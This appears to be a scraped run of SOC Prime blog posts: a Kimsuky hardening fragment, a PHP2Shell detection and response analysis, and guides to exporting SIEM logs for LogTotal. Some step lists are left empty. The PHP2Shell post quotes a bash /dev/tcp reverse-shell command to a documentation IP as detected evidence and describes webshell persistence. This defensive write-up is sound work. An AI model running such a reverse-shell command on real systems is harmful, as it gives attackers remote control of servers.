4. Reset credentials. Reset the Administrator password and plan a double krbtgt reset.
5. Hunt domain-wide for dot-padded LNK file names and for script hosts (wscript.exe, cscript.exe, mshta.exe, powershell.exe) launched from user-writable folders.

Hardening against Kimsuky-style tradecraft

The same controls that catch this sample reduce exposure across the domain. Keep 4688 process creation with command lines enabled, since the 49 process events carried most of the evidence. Alert on 4697 service installs and 4698 task creations that launch hidden PowerShell. Treat any 1102 event on a DC as an incident trigger.

The post Kimsuky Detection and Exploitation Analysis appeared first on SOC Prime.

PHP2Shell detection matters because the window between a patch and real-world exploitation can be a single day. PHP2Shell is the name for two unauthenticated remote code execution flaws in PHP core, CVE-2026-109618 and CVE-2026-109619, both rated CVSS v4.0 9.2. No authentication is needed, so any exposed PHP application on an unpatched release is a target. In the sample below, exploitation surfaces as a PHP worker crash followed by commands running as the web server user.

This article covers PHP2Shell detection using a log sample analyzed in LogTotal, a log analysis tool that matches events to known threats. Below, we explain the vulnerability context, where the logs came from, what LogTotal found, and how to respond.

PHP2Shell Analysis

Both PHP2Shell flaws score 9.2 under CVSS v4.0, and both can be reached without authentication on any PHP installation that serves web requests. To read the log sample correctly, it helps to know how each bug works, how fast the disclosure unfolded, and which installations are exposed.

Get Started For Free

Vulnerability details for PHP2Shell

The two CVEs are separate memory-safety bugs in how PHP handles a request. Either one lets an attacker run code as the web server user.

• CVE-2026-109618, out-of-memory corruption. When PHP runs out of memory partway through setting up a request, internal data is left half built, and the cleanup code then trusts it.
• CVE-2026-109619, stale global state. Internal state outlives the request memory it points to, so the next request the same worker picks up can act on leftover data.

This is why exploitation shows up as PHP “Allowed memory size … exhausted” errors and PHP worker crashes. Public PHP2Shell scanners look for the same signals.

Disclosure and exploitation timeline

Researchers at Calif found the flaws and reported them to PHP. The leak is why LogTotal’s chain is titled “Leaked Critical PHP Vulnerabilities.” Public PoC code and exploit frameworks appeared on GitHub within days, and one research toolkit reports verified command execution as www-data on builds from PHP 7.4 through 8.4 below the fixed releases.

Which systems PHP2Shell affects

PHP lists every release before 8.5.12, 8.4.27, 8.3.36, and 8.2.35 as vulnerable, and older branches are affected too.

Every PHP installation that serves web requests is in scope, whether it runs under PHP-FPM, Apache mod_php, php-cgi, LiteSpeed, or FrankenPHP. PHP rates the risk highest for Apache mod_php, where an attack can succeed before any application code runs.

Log source and collection

The file blends two sources into one schema:

• 2 plain-text lines from the PHP runtime and the PHP-FPM error log
• 4 events (file and process), normalized to ECS

The mix is typical of what reaches a SIEM in practice: application error logs alongside EDR telemetry.

Detect PHP2Shell

LogTotal processed 6 lines in 4.2 seconds, matched 9 rules against 4 lines, and formed one chain on web-prod-01: PHP2Shell, Leaked Critical PHP Vulnerabilities (CVE-2026-109618 & CVE-2026-109619), Critical, 100% match, 3 rules fired.

How the PHP2Shell chain unfolds

The chain follows the exploitation in three steps, all within three seconds.

1. Crash. The rule “Possible CVE-2026-109618 / CVE-2026-109619 Exploitation Attempt – PHP Memory Exhaustion / PHP Worker Crash” matched a PHP fatal “Allowed memory size … exhausted” error and PHP-FPM child 1201 dying on SIGSEGV. These are the same crash signals public PHP2Shell scanners look for.
2. Shell from the web worker. “Possible PHP Worker Spawning Unusual Process” and “Suspicious Shell via Web Server [Linux]” caught php-fpm, running as www-data, spawning sh -c bash /dev/shm/.s. The script was staged in RAM-backed /dev/shm.
3. Reverse shell. “Possible Data Exfiltration / Reverse Shell via Bash” matched bash -i >& /dev/tcp/198.51.100.23/4444 0>&1. Outside the chain, four more rules hit the same command, led by Linux Reverse Shell Indicator (Critical).

Using LogTotal findings in PHP2Shell triage

The chain gives the order of events and the severity in one screen. The raw events give the IOCs to block and the persistence to remove. Use both: confirm the chain’s three steps, then review the file events and command lines for IOCs and persistence.

PHP2Shell Mitigation

The definitive fix for PHP2Shell is a fixed PHP release, and PHP states that no configuration change fully mitigates these flaws. On a server that has already been exploited, patching is not enough: the webshell and .user.ini persist across a PHP upgrade.

Patch every PHP installation

1. Inventory every server and application that runs PHP, starting with internet-facing systems and any that run PHP as an Apache module.
2. Update each installation to 8.5.12, 8.4.27, 8.3.36, or 8.2.35, matching its branch. Linux distributions received the patches ahead of release, so check for updated distribution packages.
3. Restart every PHP worker so the fix takes effect.
4. For PHP 7.4, 8.0, and 8.1, use a distribution or LTS vendor package or PHP’s minimal source backports, or upgrade. PHP 7.3 and older have no fix.
5. Restrict internet access to any PHP system you cannot update immediately.

Community trackers also report CVE-2026-115560, a separate, configuration-dependent session upload-progress vector covered by a PHP informational advisory on 23 October 2026. It is not part of PHP2Shell and was left for a later release; the interim recommendation is session.upload_progress.enabled = 0.

LogTotal’s recommended response

1. Isolate web-prod-01.
2. Preserve its web, system, and network logs.
3. Investigate the reverse-shell destination.
4. Verify the PHP version and patch.
5. Alert on future PHP worker crashes and shell spawns.

Additional steps from the raw evidence

1. Block egress to 198.51.100.23:4444.
2. Preserve evidence before cleanup: copy uploads/.cache.php, .user.ini, and /dev/shm/.s. Files in /dev/shm are lost on reboot.
3. Remove persistence. Delete the auto_prepend_file directive, or better, rebuild the host on a fixed PHP release.
4. Rotate every secret www-data can read, such as database credentials and API keys in application config.
5. Hunt the web fleet for:
   • .user.ini files containing auto_prepend_file
   • hidden PHP files in upload folders
   • shells spawned by php-fpm, php-cgi, apache2, or httpd

Ongoing PHP2Shell monitoring

Keep PHP and PHP-FPM error logs flowing to your SIEM alongside EDR telemetry. In this sample, the crash lines were the first signal and the EDR file events held the persistence. Either source alone would have told only half the story.

The post PHP2Shell Detection and Exploitation Analysis appeared first on SOC Prime.

Send a PowerQuery to the Singularity Data Lake API at /api/powerQuery on your regional Data Lake URL, for example https://xdr.us1.sentinelone.net. The response comes back as a table (columns plus rows), and one jq line turns it into one JSON object per event. Alternatively, export events directly from the Singularity console through Event Search. CSV is a commonly available export format, while JSON or plain-text downloads may be available depending on the interface.

Singularity Data Lake holds SentinelOne’s endpoint telemetry alongside any third-party logs you send it, so it’s often the widest view a SentinelOne customer has. Prime Core has 14,699detection rules for SentinelOne, mapped to 644 MITRE ATT&CK techniques. Below is how to get data out, sanitize it, and investigate it for free in LogTotal.

Get Started For Free

Before you start

A service user with the right permissions. Create a service user for API access and give its role the Data Lake query permissions (SDL Query API and SDL Search). Create it at the account or site level that actually holds the data. A key made at the wrong scope authenticates fine and returns nothing.

Your regional URL. The US is typically https://xdr.us1.sentinelone.net; other regions use their own hostnames. The console’s help section lists yours.

Know the fields. Endpoint telemetry uses names such as endpoint.name, event.type, src.process.cmdline and tgt.process.cmdline. Third-party logs keep their original text in a message field. Try the query in Event Search first.

Export with the PowerQuery API

SDL="https://xdr.us1.sentinelone.net"

curl -sS -X POST "$SDL/api/powerQuery" \
  -H "Authorization: Bearer $S1_SDL_TOKEN" -H "Content-Type: application/json" \
  -d '{
    "query": "endpoint.name = \"WS-042\" | columns timestamp, endpoint.name, event.type, src.process.cmdline, tgt.process.cmdline",
    "startTime": "2026-10-19T00:00:00Z",
    "endTime": "2026-10-20T00:00:00Z"
  }' > sdl_ws042_1019.json

# table -> one JSON object per row
jq -c '.columns as $c | .values[] | [$c, .] | transpose | map({(.[0].name): .[1]}) | add' \
  sdl_ws042_1019.json > sdl_ws042_1019.jsonl

PowerQuery results are capped, so split long windows into several requests.

The columns stage decides what you get. Leave out fields you don’t need, but keep the command lines and process names: that’s where most detections look.

Export logs through the Singularity Data Lake UI

For quick investigations or smaller log samples, you can export events directly from the SentinelOne Singularity console without using the API.

1. Open Event Search. Sign in to the SentinelOne Singularity console and navigate to Event Search. Select the account or site containing your logs.
2. Set the time range. Choose the period you want to investigate and ensure the correct data sources are included.
3. Run a query. Enable PowerQuery and enter a search filter, for example endpoint.name = “WS-042”. Run the search.
4. Review results. Check the matching events and select the fields you need, such as timestamp, endpoint.name, event.type, src.process.cmdline and tgt.process.cmdline. Avoid aggregation functions if you need individual log events.
5. Export the results. Use the Export or Download option in the results area. Depending on the console version and search mode, you may be able to choose between CSV, JSON and plain text.
6. Save the file. Download the results to your computer. Prefer JSON when available, especially for structured endpoint telemetry. For third-party logs, preserve the message field containing the original log text.

Limitations. Export formats and result limits vary by console version and search mode. Large searches can also exceed the UI export limit; narrow the time range or use the Data Lake API for larger datasets.

Upload, sanitize and review in LogTotal

1. Upload. Open logtotal.com and drop in the .jsonl file. 
2. Sanitize. 
3. Review. 

When it goes wrong

The post How to Export SentinelOne Singularity Data Lake Logs appeared first on SOC Prime.

Send your query to the LogScale query API, POST /api/v1/repositories/<repo>/query, and ask for application/x-ndjson: you get one event per line. The original log line sits in @rawstring, so one jq call turns the export back into raw logs. Alternatively, export logs directly from the LogScale UI as plain text, JSON or CSV.

LogScale (formerly Humio) is built for high-volume log search, so it often holds the most complete record a team has. Prime Core has 23,747 detection rules for Falcon LogScale, mapped to 674 MITRE ATT&CK techniques. Below is how to get data out, sanitize it, and investigate it for free in LogTotal.

This guide covers standalone LogScale, cloud or self-hosted. If you use LogScale inside the Falcon console as part of Next-Gen SIEM, the console and its APIs are different.

Get Started For Free

Before you start

A token. Create an API token with permission to query the repository. Treat it like a password.

Base URL and repository. Cloud customers use their region’s URL, such as https://cloud.us.humio.com. Self-hosted clusters use their own hostname. You also need the repository or view name.

Retention. Each repository has its own retention. Check it before you promise anyone a week of history.

Export with the query API

LS="https://cloud.us.humio.com"
START=$(date -d '2026-10-19T00:00:00Z' +%s000)
END=$(date -d '2026-10-20T00:00:00Z' +%s000)

curl -sS "$LS/api/v1/repositories/security/query" \
  -H "Authorization: Bearer $LOGSCALE_TOKEN" \
  -H "Content-Type: application/json" -H "Accept: application/x-ndjson" \
  -d "{\"queryString\": \"host=web-03\", \"start\": $START, \"end\": $END, \"isLive\": false}" \
  > logscale_web03_1019.ndjson

# raw lines only
jq -r '."@rawstring"' logscale_web03_1019.ndjson > logscale_web03_1019.log

The start and end values are epoch milliseconds; relative values like “24h” work too. The date -d syntax is GNU, so on macOS compute the timestamps another way.

Keep the query a filter. Anything that aggregates (groupBy, count, timechart) returns the aggregate, not events. For very long or heavy searches, use the query jobs API, which runs the search asynchronously and lets you poll for results.

Export logs through the Falcon LogScale Search UI

For quick investigations or smaller log samples, you can export events directly from the Falcon LogScale web interface without using the API.

1. Open Search. Sign in to Falcon LogScale, select the repository or view containing your logs, and open the Search page.
2. Run a query. Enter a search filter, for example host=web-03. Set the time range and run the search.
3. Review results. Check that the returned events match what you need. Avoid aggregation functions such as groupBy(), count() or timeChart() if you want individual log events.
4. Export the logs. From the search results, click Save > Export data to file.
5. Choose the file format.
   • Plain text (.txt): Exports the @rawstring field, preserving the original log lines. Best for LogTotal when the source contains syslog-style text.
   • JSON (.json): Exports complete event objects, including parsed fields and metadata. Best when you need structured events.
   • CSV (.csv): Exports selected fields into a table. Useful for reporting, but less suitable for LogTotal. Select ‘Select all’ in ‘Fields to export’.
6. Download. Enter a filename and click Export to save the file locally.

Limitations. Plain-text export requires the original log content to be available in @rawstring. If that field is missing, export the complete events as JSON instead. For large datasets, narrow the time range or use the query API. Non-aggregated search exports may contain events in a different order from the UI results.

Upload, sanitize and review in LogTotal

1. Upload. Open logtotal.com and drop in the file. 
2. Sanitize. 
3. Review. 

When it goes wrong

The post How to Export Falcon LogScale Logs appeared first on SOC Prime.

Run your search through Sumo Logic’s Search Job API: create a job, wait until it has gathered all results, then page through the messages. Each message carries the original log line in _raw. The Messages tab in the UI can export results too, but not in a format LogTotal reads today.

Sumo Logic is a common cloud SIEM and log platform, and a natural place to pull an investigation slice from. Prime Core has 23,391 detection rules for Sumo Logic, mapped to 664 MITRE ATT&CK techniques. Below is how to get raw logs out, sanitize them, and investigate them for free in LogTotal.

Get Started For Free

Before you start

An access key. Create an access ID and key in Sumo Logic. The key acts with your role’s permissions, so the role needs to be able to run searches on the data you want.

The right API endpoint. Sumo Logic runs several deployments, and each has its own API host: api.sumologic.com for US1, api.us2.sumologic.com, api.eu.sumologic.com and so on. Match it to the URL you use to log in. A wrong deployment gives you a 401 that looks like a bad key.

Cookies. The Search Job API needs cookies kept between calls, because a job lives on a specific backend node. Without a cookie jar, follow-up calls can fail to find the job.

Limits. A job returns a capped number of messages, and each page holds up to 10,000. Keep time windows tight.

Export with the Search Job API

API="https://api.sumologic.com/api/v1"
AUTH="$SUMO_ACCESS_ID:$SUMO_ACCESS_KEY"
JAR=$(mktemp)

# 1. create the search job
JOB=$(curl -sS -u "$AUTH" -c "$JAR" -b "$JAR" -H 'Content-Type: application/json' \
  -X POST "$API/search/jobs" -d '{
    "query": "_sourceCategory=linux/secure _sourceHost=web-03",
    "from": "2026-10-19T00:00:00", "to": "2026-10-20T00:00:00",
    "timeZone": "UTC"
  }' | jq -r '.id')

# 2. wait until all results are gathered
until curl -sS -u "$AUTH" -c "$JAR" -b "$JAR" "$API/search/jobs/$JOB" \
      | jq -e '.state == "DONE GATHERING RESULTS"' >/dev/null; do sleep 5; done

# 3. page through the messages, keeping the raw lines
COUNT=$(curl -sS -u "$AUTH" -c "$JAR" -b "$JAR" "$API/search/jobs/$JOB" | jq '.messageCount')
for ((off=0; off<COUNT; off+=10000)); do
  curl -sS -u "$AUTH" -c "$JAR" -b "$JAR" "$API/search/jobs/$JOB/messages?offset=$off&limit=10000" \
    | jq -r '.messages[].map._raw'
done > web-03_sumo_1019.log

# 4. clean up
curl -sS -u "$AUTH" -c "$JAR" -b "$JAR" -X DELETE "$API/search/jobs/$JOB" >/dev/null

Keep the query to a plain filter. Queries with aggregation operators return records, not messages, and records don’t carry _raw. For structured output, write jq -c ‘.messages[].map’ instead, which gives one JSON object per line with all fields.

If a job is cancelled, the wait loop never ends. Add a check for CANCELLED if you script this for regular use.

Upload, sanitize and review in LogTotal

1. Upload. Open logtotal.com and drop in the file.
2. Sanitize. 
3. Review. 

When it goes wrong

The post How to Export Sumo Logic Logs appeared first on SOC Prime.

Before LogTotal runs any detection logic on a plain text, CSV or JSON upload, it replaces identifying values with placeholders: usernames, hostnames, IP addresses and similar. It then shows you the result to review before analysis starts. Uploaded files aren’t kept after analysis. EVTX files are the exception for now: they’re analyzed as uploaded, without the sanitize step.

The objection to online log analysis is a fair one. Logs are full of internal names, addresses and occasionally things nobody meant to log at all. This page explains what LogTotal masks, what it deliberately leaves alone, and what you should still check yourself.

Get Started For Free

What stays as-is, and why

Detection logic looks at behavior, not names. To spot a password spray or an encoded PowerShell payload, rules need event IDs, process and file names, the structure of a command line, ports, protocols and timestamps. Masking those would blind the analysis without protecting much.

Same value, same placeholder

Masking only works for investigation if it’s consistent. If jane.doe becomes user_1 on every line, you can still see that user_1 failed 40 logins from one address and then succeeded. If every username became a different random string, that pattern would vanish. Consistent placeholders keep the story intact while taking the names out of it.

Your part: review before you continue

Automatic masking catches the common shapes. It can’t know your environment. Before you continue past the sanitize step, look for:

• secrets inside free-text messages, such as passwords typed into command lines or API keys in error messages;
• custom fields that hold names, such as ticket_owner or approved_by;
• project or customer codenames hidden in hostnames or paths;
• personal data inside URLs and query strings.

If you spot something, clean it in the file before uploading. A sed one-liner handles most cases:

sed -E 's/(password|token|apikey)=[^&[:space:]]+/\1=REDACTED/Ig' in.log > clean.log

EVTX: not sanitized yet

EVTX files are analyzed as uploaded, without the sanitize step. Use EVTX uploads freely for test machines. For production hosts, get approval from whoever owns data handling first. If you need sanitization today, convert the file to JSON lines with the open-source evtx_dump and upload that:

evtx_dump -o jsonl Security.evtx > Security.jsonl

The post How LogTotal Sanitizes Logs Before Analysis appeared first on SOC Prime.

Every SIEM can hand its data back in one of two shapes: the original raw events, or its own parsed JSON. For analysis outside the SIEM, raw events are almost always the better choice. Export them for a narrow time window through the API or CLI, not the browser. The table below shows the best route for each major platform, with a link to the full guide.

Why bother taking data out of a SIEM at all? For a second opinion, to share with an IR partner who has no access, or to run detection logic your SIEM doesn’t have. Prime Core has 1M detection rules across these platforms, mapped to 676 MITRE ATT&CK techniques, and LogTotal runs them against a file for free.

Get Started For Free

Platform by platform

Six rules that apply everywhere

1. Export events, not summaries. Anything that ends in stats, summarize, table or an aggregation is a report, not logs.
2. Narrow first. Host, source, event type, time window. Count before you pull; most platforms show the number in the UI.
3. Use the API or CLI for anything over a few thousand events. Browser exports time out, rerun searches, or silently cap the row count.
4. Mind the permission boundary. API tokens often see less than your UI session: QRadar security profiles, Splunk roles, Graph scopes. When numbers don’t match, check the token first.
5. Pin the time zone. Use absolute windows in UTC or with an explicit offset. Relative windows (“last 24 hours”) drift if a search reruns.
6. Unwrap the envelope. Many APIs wrap each event: a JSON string inside CloudTrailEvent, a Records array, a result key, a CloudWatch message. Flatten to one event per line with jq before you upload.

What a SIEM can’t give you back

• Original binaries. No SIEM returns Windows EVTX files; you get rendered text or JSON. For EVTX, go to the host.
• Data past retention. Once it’s aged out, or moved to an archive tier that needs a restore, a normal search won’t find it.
• Fields dropped at ingest. If the pipeline discarded the raw line or a field, it’s gone. Check before you promise an analyst something.

Upload, sanitize and review in LogTotal

LogTotal reads syslog-style text, JSON and EVTX. Text and JSON uploads go through the sanitize step before analysis.

1. Upload. Open logtotal.com and drop in your export.
2. Sanitize. 
3. Review. 

The post How to Export Logs from Any SIEM for Free Analysis appeared first on SOC Prime.

LogTotal accepts three kinds of files: Windows event logs in EVTX, JSON (one event per line works best), and syslog-style text. Text and JSON uploads go through the sanitize step before analysis; EVTX files don’t yet. If your logs are in some other shape, there’s almost always a one-line command that converts them. The common ones are listed below.

LogTotal is SOC Prime’s free service for running detection logic against a log file without setting anything up: upload, sanitize, review. Getting the format right is the only part that can trip you up, so this page is the short version.

Get Started For Free

What LogTotal reads today

Getting JSON right

One event per line is the safest shape. Many tools wrap events in arrays or envelopes. Flatten them before uploading:

Watch the encoding on Windows. Windows PowerShell 5.1 writes UTF-16 when you use > or Out-File without options. Add -Encoding utf8, as every PowerShell example in our guides does. 

Keep the time zone. ISO 8601 timestamps with Z or an offset make findings line up with other sources. Classic syslog timestamps have no year and no zone; note the source’s time zone when you upload them.

Converting what LogTotal doesn’t read

Size

split -l 200000 big.jsonl part_

For EVTX, filter while exporting with wevtutil /q

The post Which Log Formats Can You Analyze in LogTotal? appeared first on SOC Prime.